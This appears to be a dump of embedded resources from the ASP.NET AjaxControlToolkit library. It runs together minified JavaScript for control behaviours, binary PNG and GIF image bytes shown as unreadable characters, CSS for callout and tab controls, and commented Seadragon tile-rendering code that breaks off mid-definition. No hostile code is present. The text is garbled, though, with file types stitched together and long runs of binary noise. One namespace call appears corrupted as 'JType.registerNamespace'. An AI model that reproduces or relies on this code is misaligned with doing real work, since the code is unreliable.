this._cacheDynamicResults},set_cacheDynamicResults:function(a){if(this._cacheDynamicResults!=a){this._cacheDynamicResults=a;this.raisePropertyChanged("cacheDynamicResults")}},add_populated:function(a){this.get_events().addHandler("populated",a)},remove_populated:function(a){this.get_events().removeHandler("populated",a)},raisePopulated:function(b){var a=this.get_events().getHandler("populated");a&&a(this,b)},add_populating:function(a){this.get_events().addHandler("populating",a)},remove_populating:function(a){this.get_events().removeHandler("populating",a)},raisePopulating:function(b){var a=this.get_events().getHandler("populating");a&&a(this,b)}};AjaxControlToolkit.DynamicPopulateBehaviorBase.registerClass("AjaxControlToolkit.DynamicPopulateBehaviorBase",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.ControlBase=function(b){var a=this;AjaxControlToolkit.ControlBase.initializeBase(a,[b]);a._clientStateField=null;a._callbackTarget=null;a._onsubmit$delegate=Function.createDelegate(a,a._onsubmit);a._oncomplete$delegate=Function.createDelegate(a,a._oncomplete);a._onerror$delegate=Function.createDelegate(a,a._onerror)};AjaxControlToolkit.ControlBase.__doPostBack=function(c,b){if(!Sys.WebForms.PageRequestManager.getInstance().get_isInAsyncPostBack())for(var a=0;a<AjaxControlToolkit.ControlBase.onsubmitCollection.length;a++)AjaxControlToolkit.ControlBase.onsubmitCollection[a]();Function.createDelegate(window,AjaxControlToolkit.ControlBase.__doPostBackSaved)(c,b)};AjaxControlToolkit.ControlBase.prototype={initialize:function(){var b="undefined",a=this;AjaxControlToolkit.ControlBase.callBaseMethod(a,"initialize");a._clientStateField&&a.loadClientState(a._clientStateField.value);if(typeof Sys.WebForms!==b&&typeof Sys.WebForms.PageRequestManager!==b){Array.add(Sys.WebForms.PageRequestManager.getInstance()._onSubmitStatements,a._onsubmit$delegate);if(AjaxControlToolkit.ControlBase.__doPostBackSaved==null||typeof AjaxControlToolkit.ControlBase.__doPostBackSaved==b){AjaxControlToolkit.ControlBase.__doPostBackSaved=window.__doPostBack;window.__doPostBack=AjaxControlToolkit.ControlBase.__doPostBack;AjaxControlToolkit.ControlBase.onsubmitCollection=[]}Array.add(AjaxControlToolkit.ControlBase.onsubmitCollection,a._onsubmit$delegate)}else $addHandler(document.forms[0],"submit",a._onsubmit$delegate)},dispose:function(){var b="undefined",a=this;if(typeof Sys.WebForms!==b&&typeof Sys.WebForms.PageRequestManager!==b){Array.remove(AjaxControlToolkit.ControlBase.onsubmitCollection,a._onsubmit$delegate);Array.remove(Sys.WebForms.PageRequestManager.getInstance()._onSubmitStatements,a._onsubmit$delegate)}else $removeHandler(document.forms[0],"submit",a._onsubmit$delegate);AjaxControlToolkit.ControlBase.callBaseMethod(a,"dispose")},findElement:function(a){return $get(this.get_id()+"_"+a.split(":").join("_"))},get_clientStateField:function(){return this._clientStateField},set_clientStateField:function(b){var a=this;if(a.get_isInitialized())throw Error.invalidOperation(AjaxControlToolkit.Resources.ExtenderBase_CannotSetClientStateField);if(a._clientStateField!=b){a._clientStateField=b;a.raisePropertyChanged("clientStateField")}},loadClientState:function(){},saveClientState:function(){return null},_invoke:function(g,d,h){var a=this;if(!a._callbackTarget)throw Error.invalidOperation(AjaxControlToolkit.Resources.ExtenderBase_ControlNotRegisteredForCallbacks);if(typeof WebForm_DoCallback==="undefined")throw Error.invalidOperation(AjaxControlToolkit.Resources.ExtenderBase_PageNotRegisteredForCallbacks);for(var e=[],b=0;b<d.length;b++)e[b]=d[b];var c=a.saveClientState();if(c!=null&&!String.isInstanceOfType(c))throw Error.invalidOperation(AjaxControlToolkit.Resources.ExtenderBase_InvalidClientStateType);var f=Sys.Serialization.JavaScriptSerializer.serialize({name:g,args:e,state:a.saveClientState()});WebForm_DoCallback(a._callbackTarget,f,a._oncomplete$delegate,h,a._onerror$delegate,true)},_oncomplete:function(a,b){a=Sys.Serialization.JavaScriptSerializer.deserialize(a);if(a.error)throw Error.create(a.error);this.loadClientState(a.state);b(a.result)},_onerror:function(a){throw Error.create(a);},_onsubmit:function(){if(this._clientStateField)this._clientStateField.value=this.saveClientState();return true}};AjaxControlToolkit.ControlBase.registerClass("AjaxControlToolkit.ControlBase",Sys.UI.Control);JType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.HorizontalSide=function(){throw Error.invalidOperation();};AjaxControlToolkit.HorizontalSide.prototype={Left:0,Center:1,Right:2};AjaxControlToolkit.HorizontalSide.registerEnum("AjaxControlToolkit.HorizontalSide",false);AjaxControlToolkit.VerticalSide=function(){throw Error.invalidOperation();};AjaxControlToolkit.VerticalSide.prototype={Top:0,Middle:1,Bottom:2};AjaxControlToolkit.VerticalSide.registerEnum("AjaxControlToolkit.VerticalSide",false);AjaxControlToolkit.AlwaysVisibleControlBehavior=function(b){var a=this;AjaxControlToolkit.AlwaysVisibleControlBehavior.initializeBase(a,[b]);a._horizontalOffset=0;a._horizontalSide=AjaxControlToolkit.HorizontalSide.Left;a._verticalOffset=0;a._verticalSide=AjaxControlToolkit.VerticalSide.Top;a._scrollEffectDuration=.1;a._repositionHandler=null;a._animate=false;a._animation=null};AjaxControlToolkit.AlwaysVisibleControlBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.AlwaysVisibleControlBehavior.callBaseMethod(a,"initialize");var b=a.get_element();if(!b)throw Error.invalidOperation(AjaxControlToolkit.Resources.AlwaysVisible_ElementRequired);a._repositionHandler=Function.createDelegate(a,a._reposition);if(Sys.Browser.agent==Sys.Browser.InternetExplorer&&Sys.Browser.version<7)a._animate=true;if(a._animate){a._animation=new AjaxControlToolkit.Animation.MoveAnimation(b,a._scrollEffectDuration,25,0,0,false,"px");b.style.position="absolute"}else b.style.position="fixed";$addHandler(window,"resize",a._repositionHandler);a._animate&&$addHandler(window,"scroll",a._repositionHandler);a._reposition()},dispose:function(){var a=this;if(a._repositionHandler){a._animate&&$removeHandler(window,"scroll",a._repositionHandler);$removeHandler(window,"resize",a._repositionHandler);a._repositionHandler=null}if(a._animation){a._animation.dispose();a._animation=null}AjaxControlToolkit.AlwaysVisibleControlBehavior.callBaseMethod(a,"dispose")},_reposition:function(){var a=this,d=a.get_element();if(!d)return;a.raiseRepositioning(Sys.EventArgs.Empty);var b=0,c=0;if(a._animate)if(document.documentElement&&document.documentElement.scrollTop){b=document.documentElement.scrollLeft;c=document.documentElement.scrollTop}else{b=document.body.scrollLeft;c=document.body.scrollTop}var e=$common.getClientBounds(),g=e.width,f=e.height;switch(a._horizontalSide){case AjaxControlToolkit.HorizontalSide.Center:b=Math.max(0,Math.floor(b+g/2-d.offsetWidth/2-a._horizontalOffset));break;case AjaxControlToolkit.HorizontalSide.Right:b=Math.max(0,b+g-d.offsetWidth-a._horizontalOffset);break;case AjaxControlToolkit.HorizontalSide.Left:default:b+=a._horizontalOffset}switch(a._verticalSide){case AjaxControlToolkit.VerticalSide.Middle:c=Math.max(0,Math.floor(c+f/2-d.offsetHeight/2-a._verticalOffset));break;case AjaxControlToolkit.VerticalSide.Bottom:c=Math.max(0,c+f-d.offsetHeight-a._verticalOffset);break;case AjaxControlToolkit.VerticalSide.Top:default:c+=a._verticalOffset}if(a._animate&&a._animation){a._animation.stop();a._animation.set_horizontal(b);a._animation.set_vertical(c);a._animation.play()}else{d.style.left=b+"px";d.style.top=c+"px"}a.raiseRepositioned(Sys.EventArgs.Empty)},get_HorizontalOffset:function(){return this._horizontalOffset},set_HorizontalOffset:function(b){var a=this;if(a._horizontalOffset!=b){a._horizontalOffset=b;a._reposition();a.raisePropertyChanged("HorizontalOffset")}},get_HorizontalSide:function(){return this._horizontalSide},set_HorizontalSide:function(b){var a=this;if(a._horizontalSide!=b){a._horizontalSide=b;a._reposition();a.raisePropertyChanged("HorizontalSide")}},get_VerticalOffset:function(){return this._verticalOffset},set_VerticalOffset:function(b){var a=this;if(a._verticalOffset!=b){a._verticalOffset=b;a._reposition();a.raisePropertyChanged("VerticalOffset")}},get_VerticalSide:function(){return this._verticalSide},set_VerticalSide:function(b){var a=this;if(a._verticalSide!=b){a._verticalSide=b;a._reposition();a.raisePropertyChanged("VerticalSide")}},get_ScrollEffectDuration:function(){return this._scrollEffectDuration},set_ScrollEffectDuration:function(b){var a=this;if(a._scrollEffectDuration!=b){a._scrollEffectDuration=b;a._animation&&a._animation.set_duration(b);a.raisePropertyChanged("ScrollEffectDuration")}},get_useAnimation:function(){return this._animate},set_useAnimation:function(a){a|=Sys.Browser.agent==Sys.Browser.InternetExplorer&&Sys.Browser.version<7;if(this._animate!=a){this._animate=a;this.raisePropertyChanged("useAnimation")}},add_repositioning:function(a){this.get_events().addHandler("repositioning",a)},remove_repositioning:function(a){this.get_events().removeHandler("repositioning",a)},raiseRepositioning:function(b){var a=this.get_events().getHandler("repositioning");a&&a(this,b)},add_repositioned:function(a){this.get_events().addHandler("repositioned",a)},remove_repositioned:function(a){this.get_events().removeHandler("repositioned",a)},raiseRepositioned:function(b){var a=this.get_events().getHandler("repositioned");a&&a(this,b)}};AjaxControlToolkit.AlwaysVisibleControlBehavior.registerClass("AjaxControlToolkit.AlwaysVisibleControlBehavior",AjaxControlToolkit.BehaviorBase);��PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F�IDATxڤ��oUǿ��Ǘ��s���&��&e+Z�eۮ����Rە��"ϼ����> !�O �V<�@i�*�QD�j�IK/��۱�s=�}`Ɲ�V�H?{||�g~��]�(��g.B齧~cQ��&�Rv�T*��8ڜ�$���y*�A)�U/@4J)���A��3��(�����+jccCEq�C�>Z(	�^x!}�ر!�)�\�t���7�X!��C��\NP>T�0�|&�0Μ9S|���������R��|@���7nݺ�x���ٯ�����I
�ZXX�MOO�����B�׊o����w��q�R�E)�!2���O���pΩm��~�a�ܹs�/_�\`p�!��fgg���?��#���c� �W_}�����d����|)e=a䤑&	!�qV���?��K��
�ʋ]�rE=z��A�.n����۳g�?(�E)����B�	B�e@���a��������_����{��N_w~��Q7x��4��@��?.OOO�4��9w���R��`*���L�R*��ҥ�T�RJ[[�=z����OȄs����K/��`b�I0v��u�0���ҕRJ��A�RJ��"cl�16���!!�@WJ%��bMMMmٻw�n�p�j?

�`\�E\+�~��[�� 8�\)�BR���ݻw�߻w�I���rۅ��m{��iÄ��T�MJɂ �L�t�{�'_}��gdC�&�]��4}bbb2��p�mBSJ%���-~��vM���;W�^5�ݻGo߾�}�Wr�Ri5��R��_H!ι=99Y(��O�sd?rd�{�ho��f)��NB�B)�4�T�RjB2�i�4M|���j�JMӄ�ytff&?777�����	!&��RJBH�0�����]�v��~��
�l��)���~*�Lf� ��D)�QJMJi�R�6M�T
�1b��$Lӄ�i�x�b�…%J��Db�1��!h���hjjjj<4SC��t@0]�G\�m���j�����$�45??�M&��4
�1DI[)M�����ҩS�`���K����RJ�0�-=L��&�r�3�s�h4�m?4M�N�T�~����7nCCC���`��^�հ���.^�X:s�����俛�fC�u�2$�H���߂!�e)��|�!D.//o.;vL?}��P�T*%<(VWW�͛7��~�\�Ϟ={gmm�i۶�)%:��d��Y��h8��jB�y�"�Ͷ8p�u�1C�M�����t:�-��������=ϓ��1˲�V��۷�4)�R�T�:!�$<σm۲�lz�v��<�ӻ��ҏ�(�b��j��V�廮BH���hX�Z�[����?������b`FJA=�S���u���M� p� �{�{��ض��8��0���׃J�R�O��f���?�X)�˿�޽{k"��;��(�`Y�'�h�P�V�|0@)�=�ܲ��m��}������Y��j�b�DT�l���������k�F:T��ب8�#��],�>��k�L&K��8��8.!����T�08�<�����j���R�P(�gffH�V[��6^\;Z3q�իW�c�w��9���;�J�]���/����d2���^H"��c�s�-˲�߿߱m[�������o���R�חX!PT��Me�'���0y��SSSO�ر��o������jՊ�!�RJI�S!�TB	����0&�}�]���6�y��5umN%�v�~�7>�Ν;�YZZ�r��9��^*�
�R��td��666�~bY@GGG�Al�wD�Z]�<�.�f��.D7�E�9r�����(ia�Ny6�N���ɓ����h6��z���t:缻��i4���|>���
�}�]�O>qm۾�9_P5�
KP/f&Յٻw/�����׿QE�e��_��Η_~�(��^�P�\�
���RJM��<x��u��_x�Z�B����4��X�y��r�)%�-J"Ԑ��YJi�4�g(�c�ccc4�ɐV��~��g)����
)�_��12���f۶m�D�����!DNm���$I�H*�D���IvL�~�J<rwaFFF6���f���M���=VXG���i�>QwS
���r�ǚr�u���X"�i��ڼ���N��&�d2�	$.=oh������.�c0��n�{�~��cٿ���A�������wC|`�U(�IEND�B`�.ajax__validatorcallout div, .ajax__validatorcallout td {border:solid 1px Black;background-color:LemonChiffon;}
.ajax__validatorcallout_popup_table {border:none 0px;background-color:transparent;padding:0px;margin:0px;}
.ajax__validatorcallout_popup_table_row {vertical-align:top;height:100%;background-color:transparent;padding:0px;margin:0px;}
.ajax__validatorcallout_callout_cell {width:20px;height:100%;text-align:right;vertical-align:top;border:none !important;background-color:transparent !important;padding:0px;margin:0px;}
.ajax__validatorcallout_callout_table {height:100%;border:none;background-color:transparent;padding:0px;margin:0px;}
.ajax__validatorcallout_callout_table_row {background-color:transparent;padding:0px;margin:0px;}
.ajax__validatorcallout_callout_arrow_cell {padding:8px 0px 0px 0px;margin:0px;text-align:right;vertical-align:top;font-size:1px;border:none !important;background-color:transparent !important;}
.ajax__validatorcallout_callout_arrow_cell .ajax__validatorcallout_innerdiv {font-size:1px;position:relative;left:1px;border-bottom:none !important;border-right:none !important;border-left:none !important;width:15px;background-color:transparent !important;padding:0px;margin:0px;}
.ajax__validatorcallout_callout_arrow_cell .ajax__validatorcallout_innerdiv div {height:1px;overflow:hidden;border-top:none !important;border-bottom:none !important;border-right:none !important;padding:0px;margin:0px 0px 0px auto;}
.ajax__validatorcallout_callout_arrow_cell_leftpos {padding:8px 0px 0px 0px;margin:0px;text-align:left;vertical-align:top;font-size:1px;border:none !important;background-color:transparent !important;}
.ajax__validatorcallout_callout_arrow_cell_leftpos .ajax__validatorcallout_innerdiv {font-size:1px;position:relative;left:-1px;border-bottom:none !important;border-right:none !important;border-left:none !important;width:15px;background-color:transparent !important;padding:0px;margin:0px;}
.ajax__validatorcallout_callout_arrow_cell_leftpos .ajax__validatorcallout_innerdiv div {height:1px;overflow:hidden;border-top:none !important;border-bottom:none !important;border-left:none !important;padding:0px;margin:0px auto 0px 0px;}
.ajax__validatorcallout_callout_arrow_cell_bottomleftpos,.ajax__validatorcallout_callout_arrow_cell_topleftpos {padding:0px 0px 0px 8px;margin:0px;text-align:left;vertical-align:top;font-size:1px;border:none !important;background-color:transparent !important;}
.ajax__validatorcallout_callout_arrow_cell_bottomrightpos,.ajax__validatorcallout_callout_arrow_cell_toprightpos {padding:0px 8px 0px 0px;margin:0px;text-align:right;vertical-align:top;font-size:1px;border:none !important;background-color:transparent !important;}
.ajax__validatorcallout_callout_arrow_cell_bottomleftpos .ajax__validatorcallout_innerdiv {font-size:1px;position:relative;bottom:-1px;border:none !important;width:30px;background-color:transparent !important;padding:0px;margin:0px;}
.ajax__validatorcallout_callout_arrow_cell_bottomrightpos .ajax__validatorcallout_innerdiv {font-size:1px;position:relative;bottom:-1px;border:none !important;width:30px;background-color:transparent !important;padding:0px;margin:0px 0px 0px auto;}
.ajax__validatorcallout_callout_arrow_cell_topleftpos .ajax__validatorcallout_innerdiv {font-size:1px;position:relative;top:-1px;border:none !important;width:30px;background-color:transparent !important;padding:0px;margin:0px;}
.ajax__validatorcallout_callout_arrow_cell_toprightpos .ajax__validatorcallout_innerdiv {font-size:1px;position:relative;top:-1px;border:none !important;width:30px;background-color:transparent !important;padding:0px;margin:0px 0px 0px auto;}
.ajax__validatorcallout_callout_arrow_cell_bottomleftpos .ajax__validatorcallout_innerdiv div,.ajax__validatorcallout_callout_arrow_cell_bottomrightpos .ajax__validatorcallout_innerdiv div,.ajax__validatorcallout_callout_arrow_cell_topleftpos .ajax__validatorcallout_innerdiv div,.ajax__validatorcallout_callout_arrow_cell_toprightpos .ajax__validatorcallout_innerdiv div {height:1px;overflow:hidden;border-top:none !important;border-bottom:none !important;padding:0px;margin:0px auto 0px auto;}
.ajax__validatorcallout_callout_arrow_cell_bottomleftpos .ajax__validatorcallout_innerdiv .arrowpixel,.ajax__validatorcallout_callout_arrow_cell_bottomrightpos .ajax__validatorcallout_innerdiv .arrowpixel,.ajax__validatorcallout_callout_arrow_cell_topleftpos .ajax__validatorcallout_innerdiv .arrowpixel,.ajax__validatorcallout_callout_arrow_cell_toprightpos .ajax__validatorcallout_innerdiv .arrowpixel {height:0px;overflow:hidden;border-top:none !important;border-right:none !important;border-left:none !important;border-bottom-style:solid !important;border-bottom-width:1px !important;background-color:transparent !important;padding:0px;margin:0px auto 0px auto;}
.ajax__validatorcallout_error_message_cell {font-family:Verdana;font-size:10px;padding:5px;border-right:none !important;border-left:none !important;width:100%;}
.ajax__validatorcallout_icon_cell {width:20px;padding:5px;margin:0px;border-right:none !important;}
.ajax__validatorcallout_close_button_cell {vertical-align:top;padding:0px;margin:0px;text-align:right;border-left:none !important;}
.ajax__validatorcallout_close_button_cell .ajax__validatorcallout_innerdiv {border:none !important;text-align:center;width:10px;padding:2px;cursor:pointer;}�
/* default layout */
.ajax__tab_default .ajax__tab_header {white-space:normal !important}
.ajax__tab_default .ajax__tab_outer {display:-moz-inline-box;display:inline-block}
.ajax__tab_default .ajax__tab_inner {display:-moz-inline-box;display:inline-block}
.ajax__tab_default .ajax__tab_tab {overflow:hidden;text-align:center;display:-moz-inline-box;display:inline-block}

/* xp theme */
.ajax__tab_xp .ajax__tab_header {font-family:verdana,tahoma,helvetica;font-size:11px;background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-line.gif")%>) repeat-x bottom;}
.ajax__tab_xp .ajax__tab_outer {padding-right:4px;background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-right.gif")%>) no-repeat right;height:21px;}
.ajax__tab_xp .ajax__tab_inner {padding-left:3px;background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-left.gif")%>) no-repeat;}
.ajax__tab_xp .ajax__tab_tab {height:13px;padding:4px;margin:0px;background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab.gif")%>) repeat-x;}
.ajax__tab_xp .ajax__tab_hover .ajax__tab_outer {cursor:pointer;background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-hover-right.gif")%>) no-repeat right;}
.ajax__tab_xp .ajax__tab_hover .ajax__tab_inner {cursor:pointer;background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-hover-left.gif")%>) no-repeat;}
.ajax__tab_xp .ajax__tab_hover .ajax__tab_tab {cursor:pointer;background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-hover.gif")%>) repeat-x;}
.ajax__tab_xp .ajax__tab_active .ajax__tab_outer {background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-active-right.gif")%>) no-repeat right;}
.ajax__tab_xp .ajax__tab_active .ajax__tab_inner {background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-active-left.gif")%>) no-repeat;}
.ajax__tab_xp .ajax__tab_active .ajax__tab_tab {background:url(<%=WebResource("AjaxControlToolkit.Tabs.tab-active.gif")%>) repeat-x;}
.ajax__tab_xp .ajax__tab_disabled { color: #A0A0A0;}
.ajax__tab_xp .ajax__tab_body {font-family:verdana,tahoma,helvetica;font-size:10pt;border:1px solid #999999;border-top:0;padding:8px;background-color:#ffffff;}

/* scrolling */
.ajax__scroll_horiz {overflow-x:scroll;}
.ajax__scroll_vert {overflow-y:scroll;}
.ajax__scroll_both {overflow:scroll}
.ajax__scroll_auto {overflow:auto}

/* plain theme */
.ajax__tab_plain .ajax__tab_outer {text-align: center; vertical-align: middle; border:2px solid #999999;}
.ajax__tab_plain .ajax__tab_inner {text-align: center; vertical-align: middle; }
.ajax__tab_plain .ajax__tab_body {text-align: center; vertical-align: middle;}
.ajax__tab_plain .ajax__tab_header {text-align: center; vertical-align: middle;}
.ajax__tab_plain .ajax__tab_active .ajax__tab_outer {background:#FFFFE1;}
GGIF89a �?*����V���������� _���4�����QPg	���|{x��p�


LMP��jװ��7�U,�#��rOc�������v{��`:���Qw�?�����E���t�'���¿�X�>V{����{�����ĝ������s�R�ъTWu����kܺ#���887����c�����_`T������!�?, ���p8,`0B�D*8��(��
X�1�$j%HJ&�Z��Z�hc0��"L&"#j�^�B�&&cu9!Z{(
~n�1"%d0���Z
����.�P<9i���,���

1�P,��,,)-L<2
�&
�BJ��-NMN<�5m#�
="C0x��L����75p#�'=�N{��$�$7<�7`L�0A�	�~H��Q�N
���@7n  �N��\��0����1���>r����Gy4��s��5�z���9|��a"��x�
��4l�-hպ���#n�XP��hw�ѣ�ѭzt�"�	��5�m$0 ��,v�J��b,	�}i���V+�4�Hlc1B?v8�Voq�pB�Ru,���ǂ�}����&��*=p ��
+ 0X��Ѥ5�c$��ͱ;KP.@�8�!�u�*+F���C�#�>T8[6^��|`�h��ƽ�Bq�-VA7D����s�gd�]��@wQ���*���vu�
.1pJ�|`��8~�vJ�@�����J8�(a���]�u� +A`�b+��܈369�+
EQ=@���Q� �P�(�XM;�GIF89a����:�=�@�D�D�G�I�H�K�R�S�Hx�V��j��U��c��o��s�Ԟ�衽���������������������������w�ሻ��������������������������������������������������������������������������������������������������������������К����)^�2e�_���������տ�������������������!�l,��l������.023������48<=������9?BD������>CH������HJK��]L����DO��\j�i�ȂHMR��\bRZ\i�ׂQS��Y\[\_h��� T��\^�a��F��W\cj�

A��+Z�x1���T�@��	�D�H��E0# ��.Z���BP	'5X�@��dT��EJA)^L�D�06mZ���F
2��A�M�LP�� >z��!�FE�$�`�@5Jn�(c��!��!��%�<9��'X�(�p!	�#��Q��I�`8��p�%2*��	�|R��Yءװ;�GIF89a����LLM~~XXY�����������������������ҿ�����������������������p��s�����������������Kw�Ny�]��a��������:l�=n�������r��t��d��f��[��\��X�����������������������������������������������������������������������������������������������������������~~~}}}yyymmmjjjgggfffeeeccc\\\FFF666555333���!�_,�_����������������������JGJC���	<[]���^HIOZ
�_��AK4WM@^^K��=Y0X���	�.?H̏��L
�\�ڐ:�;RD>BQV1FE����SSNU4-tȘ�O��B%G
B�A�"�-lX�ɆG C��$�(W�8Q"Ć*x� �MH4r�@a��
0X��aDΣ�d(]ʴiSt�J�JuꡫX;%GIF89a������������ض�������������������������������������������������!�	 ,BA(P,����F0aB�@��h� @� p�@(`�8;jGIF89a�������������������������������������!�	,8Р�A$@p�@;��Type.registerNamespace('AjaxControlToolkit.Seadragon');
Type.registerNamespace('Seadragon');

// Constants

var QUOTA = 100;    // the max number of images we should keep in memory
var MIN_PIXEL_RATIO = 0.5;  // the most shrunk a tile should be

// Method of drawing

var browser = Seadragon.Utils.getBrowser();
var browserVer = Seadragon.Utils.getBrowserVersion();

// only Firefox and Opera implement <canvas> with subpixel rendering.
// update: safari 4 does too now! update: and chrome 2!
var subpixelRenders = browser == Seadragon.Browser.FIREFOX ||
            browser == Seadragon.Browser.OPERA ||
            (browser == Seadragon.Browser.SAFARI && browserVer >= 4) ||
            (browser == Seadragon.Browser.CHROME && browserVer >= 2);

// make sure browser supports <canvas>, and only use it if we know browser
// does subpixel rendering with <canvas> (that's the main advantage)
var useCanvas =
            typeof (document.createElement("canvas").getContext) == "function" &&
            subpixelRenders;
AjaxControlToolkit.Seadragon.Tile = function(level, x, y, bounds, exists, url) {
    // Core
    this.level = level;
    this.x = x;
    this.y = y;
    this.bounds = bounds;   // where this tile fits, in normalized coordinates
    this.exists = exists;   // part of sparse image? tile hasn't failed to load?
    this.loaded = false;    // is this tile loaded?
    this.loading = false;   // or is this tile loading?



    // Image
    this.elmt = null;       // the HTML element for this tile
    this.image = null;      // the Image object for this tile
    this.url = url;         // the URL of this tile's image


    // Drawing
    this.style = null;      // alias of this.elmt.style
    this.position = null;   // this tile's position on screen, in pixels
    this.size = null;       // this tile's size on screen, in pixels
    this.blendStart = null; // the start time of this tile's blending
    this.opacity = null;    // the current opacity this tile should be
    this.distance = null;   // the distance of this tile to the viewport center
    this.visibility = null; // the visibility score of this tile

    // Caching
    this.beingDrawn = false; // whether this tile is currently being drawn
    this.lastTouchTime = 0; // the time that tile was last touched
}
AjaxControlToolkit.Seadragon.Tile.prototype = {
    dispose: function() {
    },
    toString: function() {
        return this.level + "/" + this.x + "_" + this.y;
    },
    drawHTML: function(container) {
        if (!this.loaded) {
            Seadragon.Debug.error("Attempting to draw tile " + this.toString() +
                    " when it's not yet loaded.");
            return;
        }

        // initialize if first time
        if (!this.elmt) {
            this.elmt = Seadragon.Utils.makeNeutralElement("img");
            this.elmt.src = this.url;
            this.style = this.elmt.style;
            this.style.position = "absolute";
            this.style.msInterpolationMode = "nearest-neighbor";
            // IE only property. bicubic is ideal, but it causes seams.
            // explicitly use nearest-neighbor so it's not overridden to
            // bicubic on page zoom.
        }

        var elmt = this.elmt;
        var style = this.style;
        var position = this.position.apply(Math.floor);
        var size = this.size.apply(Math.ceil);

        // this was an alternate idea to hopefully make the rendering more
        // accurate, by prioritizing the edges of the image and not the size,
        // but it hasn't seemed to make any difference.
        //var topLeft = this.position;
        //var bottomRight = topLeft.plus(this.size);
        //var position = topLeft.apply(Math.floor);
        //var size = bottomRight.minus(topLeft).apply(Math.floor);

        if (elmt.parentNode != container) {
            container.appendChild(elmt);
        }

        style.left = position.x + "px";
        style.top = position.y + "px";
        style.width = size.x + "px";
        style.height = size.y + "px";

        Seadragon.Utils.setElementOpacity(elmt, this.opacity);
    },
    drawCanvas: function(context) {
        if (!this.loaded) {
            Seadragon.Debug.error("Attempting to draw tile " + this.toString() +
                    " when it's not yet loaded.");
            return;
        }

        var position = this.position;
        var size = this.size;

        context.globalAlpha = this.opacity;
        context.drawImage(this.image, position.x, position.y, size.x, size.y);
    },
    unload: function() {
        if (this.elmt && this.elmt.parentNode) {
            this.elmt.parentNode.removeChild(this.elmt);
        }

        this.elmt = null;
        this.image = null;
        this.loaded = false;
        this.loading = false;
    }
}
AjaxControlToolkit.Seadragon.Tile.registerClass('AjaxControlToolkit.Seadragon.Tile', null, Sys.IDisposable);

AjaxControlToolkit.Seadragon.Overlay = function(elmt, loc, placement) {
    // Core
